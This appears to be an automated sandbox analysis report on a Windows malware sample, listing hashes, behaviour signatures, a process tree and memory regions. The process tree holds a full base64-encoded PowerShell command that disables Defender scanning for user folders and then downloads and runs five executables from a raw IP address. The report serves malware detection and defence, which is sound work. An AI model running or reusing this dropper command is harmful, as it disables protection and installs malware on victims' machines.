Resubmissions

22-04-2024 22:02

240422-1xtwbagh68 10

22-04-2024 19:25

240422-x42b7afa68 10

19-04-2024 03:02

240419-djmthsfh8w 10

Analysis

  • max time kernel
    140s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-04-2024 22:02

General

  • Target

    068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe

  • Size

    2.7MB

  • MD5

    853a9918a66c6de88c9d8577726f2605

  • SHA1

    36b6e43bcd91cdb0ca35c48a3b8644ba0d51f305

  • SHA256

    068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26

  • SHA512

    7980da87d70698ea26bf2109174cdbad041ff1c35ef19beb29985fa6a9ffeaa17df920b7ad9331700863cf7cc7b492e06fa1b9ff06a35e14779b742559d04489

  • SSDEEP

    24576:W0FRFbz9JmGF6uabHxZ2/AVWcE1+APcSs+x4HRjcKx+Afz0bRK+m4pGAhiBLqx7I:Wc5/mGJae/AJcBPcRjcA+AYDZLx7acT

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe
    "C:\Users\Admin\AppData\Local\Temp\068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3624
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4604
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABxAGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgBoAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdwBjAGwAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADQANwAuADQANgAvADEALgBlAHgAZQAnACwAIAA8ACMAbgBrAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAdAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAGsAYQBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADEALgBlAHgAZQAnACkAKQA8ACMAYgBrAGgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADkAMQAuADkAMgAuADIANAA3AC4ANAA2AC8AMgAuAGUAeABlACcALAAgADwAIwB0AHYAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHYAcwB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAbgBkAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMgAuAGUAeABlACcAKQApADwAIwB0AHkAcAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AOQAyAC4AMgA0ADcALgA0ADYALwAzAC4AZQB4AGUAJwAsACAAPAAjAGIAeAByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdABoAHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAzAC4AZQB4AGUAJwApACkAPAAjAGkAawBxACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADQANwAuADQANgAvADQALgBlAHgAZQAnACwAIAA8ACMAZABpAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGoAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAHMAcQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADQALgBlAHgAZQAnACkAKQA8ACMAYwBpAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADkAMQAuADkAMgAuADIANAA3AC4ANAA2AC8ANQAuAGUAeABlACcALAAgADwAIwBjAGoAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAagBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAeABrAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQApADwAIwBwAGEAbgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AGkAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBpAHEAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwBoAGsAdwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBqAGgAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBzAGsAdgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAyAC4AZQB4AGUAJwApADwAIwB6AGsAbAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAHUAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBoAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAzAC4AZQB4AGUAJwApADwAIwB6AHcAdwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBqAHMAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwB6AGMAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA0AC4AZQB4AGUAJwApADwAIwB3AGsAYQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBxAHgAbgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAgADwAIwBkAGEAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA1AC4AZQB4AGUAJwApADwAIwB3AGwAbQAjAD4A"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2100

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oi1g3gnp.noa.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2100-31-0x0000000070810000-0x000000007085C000-memory.dmp

    Filesize

    304KB

  • memory/2100-60-0x0000000004990000-0x00000000049A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-63-0x00000000749F0000-0x00000000751A0000-memory.dmp

    Filesize

    7.7MB

  • memory/2100-11-0x0000000004990000-0x00000000049A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-10-0x00000000749F0000-0x00000000751A0000-memory.dmp

    Filesize

    7.7MB

  • memory/2100-9-0x0000000004900000-0x0000000004936000-memory.dmp

    Filesize

    216KB

  • memory/2100-12-0x0000000004990000-0x00000000049A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-13-0x0000000004FD0000-0x00000000055F8000-memory.dmp

    Filesize

    6.2MB

  • memory/2100-41-0x0000000006440000-0x000000000645E000-memory.dmp

    Filesize

    120KB

  • memory/2100-15-0x00000000057B0000-0x0000000005816000-memory.dmp

    Filesize

    408KB

  • memory/2100-21-0x0000000005890000-0x00000000058F6000-memory.dmp

    Filesize

    408KB

  • memory/2100-42-0x0000000004990000-0x00000000049A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-26-0x0000000005B00000-0x0000000005E54000-memory.dmp

    Filesize

    3.3MB

  • memory/2100-27-0x0000000005EA0000-0x0000000005EBE000-memory.dmp

    Filesize

    120KB

  • memory/2100-28-0x0000000005F60000-0x0000000005FAC000-memory.dmp

    Filesize

    304KB

  • memory/2100-29-0x000000007F590000-0x000000007F5A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-30-0x0000000007080000-0x00000000070B2000-memory.dmp

    Filesize

    200KB

  • memory/2100-59-0x000000007F590000-0x000000007F5A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-14-0x0000000005640000-0x0000000005662000-memory.dmp

    Filesize

    136KB

  • memory/2100-58-0x0000000004990000-0x00000000049A0000-memory.dmp

    Filesize

    64KB

  • memory/2100-48-0x00000000073F0000-0x0000000007401000-memory.dmp

    Filesize

    68KB

  • memory/2100-44-0x0000000007830000-0x0000000007EAA000-memory.dmp

    Filesize

    6.5MB

  • memory/2100-45-0x00000000071F0000-0x000000000720A000-memory.dmp

    Filesize

    104KB

  • memory/2100-46-0x0000000007260000-0x000000000726A000-memory.dmp

    Filesize

    40KB

  • memory/2100-47-0x0000000007480000-0x0000000007516000-memory.dmp

    Filesize

    600KB

  • memory/2100-43-0x00000000070C0000-0x0000000007163000-memory.dmp

    Filesize

    652KB

  • memory/2100-49-0x0000000007420000-0x000000000742E000-memory.dmp

    Filesize

    56KB

  • memory/2100-50-0x0000000007430000-0x0000000007444000-memory.dmp

    Filesize

    80KB

  • memory/2100-51-0x0000000007520000-0x000000000753A000-memory.dmp

    Filesize

    104KB

  • memory/2100-52-0x0000000007460000-0x0000000007468000-memory.dmp

    Filesize

    32KB

  • memory/2100-53-0x0000000007580000-0x00000000075A2000-memory.dmp

    Filesize

    136KB

  • memory/2100-54-0x0000000008460000-0x0000000008A04000-memory.dmp

    Filesize

    5.6MB

  • memory/2100-55-0x00000000749F0000-0x00000000751A0000-memory.dmp

    Filesize

    7.7MB

  • memory/2100-56-0x0000000004990000-0x00000000049A0000-memory.dmp

    Filesize

    64KB

  • memory/3624-5-0x00007FF64E640000-0x00007FF64E953000-memory.dmp

    Filesize

    3.1MB

  • memory/4604-6-0x0000000074A10000-0x00000000751C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4604-4-0x0000000000930000-0x000000000093A000-memory.dmp

    Filesize

    40KB

  • memory/4604-8-0x0000000074A10000-0x00000000751C0000-memory.dmp

    Filesize

    7.7MB